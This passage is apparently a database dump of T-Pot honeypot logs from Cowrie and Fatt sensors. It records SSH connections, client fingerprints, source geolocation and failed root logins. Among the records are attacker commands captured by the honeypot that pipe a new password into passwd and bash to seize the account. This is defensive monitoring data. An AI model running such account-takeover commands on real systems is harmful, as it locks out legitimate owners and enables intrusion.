26681	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:12:59.674539+03	2021-09-20 14:15:13.590644+03	{"_id": "KgboAnwBvYTbRNuEwCOV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48148, "dest_port": 22, "timestamp": "2021-09-20T11:12:59.674539", "@timestamp": "2021-09-20T11:12:59.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26682	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.805742+03	2021-09-20 14:15:13.591644+03	{"_id": "LAboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "echo -e \\"Irina\\\\nWrLC94wOBski\\\\nWrLC94wOBski\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"Irina\\\\nWrLC94wOBski\\\\nWrLC94wOBski\\"|passwd|bash", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:12:59.805742Z", "@timestamp": "2021-09-20T11:12:59.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26683	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.807301+03	2021-09-20 14:15:13.594645+03	{"_id": "MAboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:12:59.807301Z", "@timestamp": "2021-09-20T11:12:59.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
26684	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:12:59.816171+03	2021-09-20 14:15:13.595645+03	{"_id": "MwboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2001] failed", "session": "4d858f8e8cda", "@version": "1", "password": "2001", "username": "root", "timestamp": "2021-09-20T11:12:59.816171Z", "@timestamp": "2021-09-20T11:12:59.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26685	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:00.452984+03	2021-09-20 14:15:13.596645+03	{"_id": "NQboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "echo \\"Irina\\\\nWrLC94wOBski\\\\nWrLC94wOBski\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: echo \\"Irina\\\\nWrLC94wOBski\\\\nWrLC94wOBski\\\\n\\"|passwd", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:00.452984Z", "@timestamp": "2021-09-20T11:13:00.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26686	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:00.452429+03	2021-09-20 14:15:13.597646+03	{"_id": "MQboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:00.452429Z", "@timestamp": "2021-09-20T11:13:00.452Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26687	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.982845+03	2021-09-20 14:15:13.599647+03	{"_id": "MgboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ef7a314005fbd0b7ea91cfc6cfe98f524454b61e550b3b243d2d04e0717d550e", "src_ip": "128.199.123.0", "ttylog": "log/tty/ef7a314005fbd0b7ea91cfc6cfe98f524454b61e550b3b243d2d04e0717d550e", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ef7a314005fbd0b7ea91cfc6cfe98f524454b61e550b3b243d2d04e0717d550e after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.1777346134185791, "duplicate": false, "timestamp": "2021-09-20T11:12:59.982845Z", "@timestamp": "2021-09-20T11:12:59.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26688	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:00.628368+03	2021-09-20 14:15:13.600646+03	{"_id": "NAboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "2c4afb35f48cdb8395a812201383d528b7f5bc2bebc200392179616832a5b3cf", "src_ip": "128.199.123.0", "ttylog": "log/tty/2c4afb35f48cdb8395a812201383d528b7f5bc2bebc200392179616832a5b3cf", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/2c4afb35f48cdb8395a812201383d528b7f5bc2bebc200392179616832a5b3cf after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.17602062225341797, "duplicate": false, "timestamp": "2021-09-20T11:13:00.628368Z", "@timestamp": "2021-09-20T11:13:00.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26695	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:35.928577+03	2021-09-20 14:15:13.608646+03	{"_id": "LAboAnwBvYTbRNuEYyJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c7ebacffa0ff", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:35.928577Z", "@timestamp": "2021-09-20T11:12:35.928Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26689	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:35.930667+03	2021-09-20 14:15:13.601647+03	{"_id": "FQboAnwBvYTbRNuEYiLC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33220, "timestamp": "2021-09-20T11:12:35.930667", "@timestamp": "2021-09-20T11:12:35.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26690	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:12:35.980136+03	2021-09-20 14:15:13.602646+03	{"_id": "FwboAnwBvYTbRNuEYiLH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 43588, "dest_port": 22, "timestamp": "2021-09-20T11:12:35.980136", "@timestamp": "2021-09-20T11:12:35.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26691	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:12:35.803069+03	2021-09-20 14:15:13.603646+03	{"_id": "GQboAnwBvYTbRNuEYyJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:43588 (192.168.176.2:22) [session: cc3285b20190]", "session": "cc3285b20190", "@version": "1", "protocol": "ssh", "src_port": 43588, "dest_port": 22, "timestamp": "2021-09-20T11:12:35.803069Z", "@timestamp": "2021-09-20T11:12:35.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26692	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:35.925585+03	2021-09-20 14:15:13.605645+03	{"_id": "GgboAnwBvYTbRNuEYyJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33220 (192.168.176.2:22) [session: c7ebacffa0ff]", "session": "c7ebacffa0ff", "@version": "1", "protocol": "ssh", "src_port": 33220, "dest_port": 22, "timestamp": "2021-09-20T11:12:35.925585Z", "@timestamp": "2021-09-20T11:12:35.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26693	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:35.796734+03	2021-09-20 14:15:13.606646+03	{"_id": "KgboAnwBvYTbRNuEYyJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "01cb298fd466", "@version": "1", "timestamp": "2021-09-20T11:12:35.796734Z", "@timestamp": "2021-09-20T11:12:35.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26696	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:12:35.98041+03	2021-09-20 14:15:13.609646+03	{"_id": "LQboAnwBvYTbRNuEYyJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", 